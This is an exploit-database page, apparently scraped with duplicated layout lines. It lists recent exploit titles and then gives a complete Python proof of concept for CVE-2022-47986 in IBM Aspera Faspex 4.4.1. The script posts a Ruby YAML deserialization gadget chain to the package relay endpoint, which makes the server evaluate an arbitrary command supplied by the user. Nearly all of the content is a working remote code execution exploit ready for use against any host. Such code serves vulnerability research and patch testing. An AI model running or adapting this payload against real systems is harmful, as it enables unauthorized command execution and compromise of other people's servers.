99cef8d064
11 changes to exploits/shellcodes/ghdb Snitz Forum v1.0 - Blind SQL Injection Franklin Fueling Systems TS-550 - Exploit and Default Password Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing MAC 1200R - Directory Traversal Docker based datastores for IBM Instana 241-2 243-0 - No Authentication IBM Aspera Faspex 4.4.1 - YAML deserialization (RCE) ChurchCRM 4.5.1 - Authenticated SQL Injection NotrinosERP 0.7 - Authenticated Blind SQL Injection Rukovoditel 3.3.1 - Remote Code Execution (RCE) Wondershare Dr Fone 12.9.6 - Privilege Escalation
110 lines
No EOL
3.3 KiB
Python
Executable file
110 lines
No EOL
3.3 KiB
Python
Executable file
# Exploit Title: IBM Aspera Faspex 4.4.1 - YAML deserialization (RCE)
|
|
# Date: 02/02/2023
|
|
# Exploit Author: Maurice Lambert <mauricelambert434@gmail.com>
|
|
# Vendor Homepage: https://www.ibm.com/
|
|
# Software Link: https://www.ibm.com/docs/en/aspera-faspex/5.0?topic=welcome-faspex
|
|
# Version: 4.4.1
|
|
# Tested on: Linux
|
|
# CVE : CVE-2022-47986
|
|
|
|
"""
|
|
This file implements a POC for CVE-2022-47986
|
|
an YAML deserialization that causes a RCE in
|
|
IBM Aspera Faspex (before 4.4.2).
|
|
"""
|
|
|
|
__version__ = "1.0.0"
|
|
__author__ = "Maurice Lambert"
|
|
__author_email__ = "mauricelambert434@gmail.com"
|
|
__maintainer__ = "Maurice Lambert"
|
|
__maintainer_email__ = "mauricelambert434@gmail.com"
|
|
__description__ = """
|
|
This file implements a POC for CVE-2022-47986
|
|
an YAML deserialization that causes a RCE in
|
|
IBM Aspera Faspex (before 4.4.2).
|
|
"""
|
|
license = "GPL-3.0 License"
|
|
__url__ = "https://github.com/mauricelambert/CVE-2022-47986"
|
|
|
|
copyright = """
|
|
CVE-2022-47986 Copyright (C) 2023 Maurice Lambert
|
|
This program comes with ABSOLUTELY NO WARRANTY.
|
|
This is free software, and you are welcome to redistribute it
|
|
under certain conditions.
|
|
"""
|
|
__license__ = license
|
|
__copyright__ = copyright
|
|
|
|
__all__ = []
|
|
|
|
print(copyright)
|
|
|
|
from urllib.request import urlopen, Request
|
|
from sys import argv, exit, stderr, stdout
|
|
from shutil import copyfileobj
|
|
from json import dumps
|
|
|
|
def main() -> int:
|
|
|
|
if len(argv) != 3:
|
|
print("USAGES:", argv[0], "[hostname] [command]", file=stderr)
|
|
return 1
|
|
|
|
copyfileobj(
|
|
urlopen(
|
|
Request(
|
|
argv[1] + "/aspera/faspex/package_relay/relay_package",
|
|
method="POST",
|
|
data=dumps({
|
|
"package_file_list": [
|
|
"/"
|
|
],
|
|
"external_emails": f"""
|
|
---
|
|
- !ruby/object:Gem::Installer
|
|
i: x
|
|
- !ruby/object:Gem::SpecFetcher
|
|
i: y
|
|
- !ruby/object:Gem::Requirement
|
|
requirements:
|
|
!ruby/object:Gem::Package::TarReader
|
|
io: &1 !ruby/object:Net::BufferedIO
|
|
io: &1 !ruby/object:Gem::Package::TarReader::Entry
|
|
read: 0
|
|
header: "pew"
|
|
debug_output: &1 !ruby/object:Net::WriteAdapter
|
|
socket: &1 !ruby/object:PrettyPrint
|
|
output: !ruby/object:Net::WriteAdapter
|
|
socket: &1 !ruby/module "Kernel"
|
|
method_id: :eval
|
|
newline: "throw `{argv[2]}`"
|
|
buffer: {{}}
|
|
group_stack:
|
|
- !ruby/object:PrettyPrint::Group
|
|
break: true
|
|
method_id: :breakable
|
|
""",
|
|
"package_name": "assetnote_pack",
|
|
"package_note": "hello from assetnote team",
|
|
"original_sender_name": "assetnote",
|
|
"package_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
|
|
"metadata_human_readable": "Yes",
|
|
"forward": "pew",
|
|
"metadata_json": '{}',
|
|
"delivery_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
|
|
"delivery_sender_name": "assetnote",
|
|
"delivery_title": "TEST",
|
|
"delivery_note": "TEST",
|
|
"delete_after_download": True,
|
|
"delete_after_download_condition": "IDK",
|
|
}).encode()
|
|
)
|
|
),
|
|
stdout.buffer,
|
|
)
|
|
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
exit(main()) |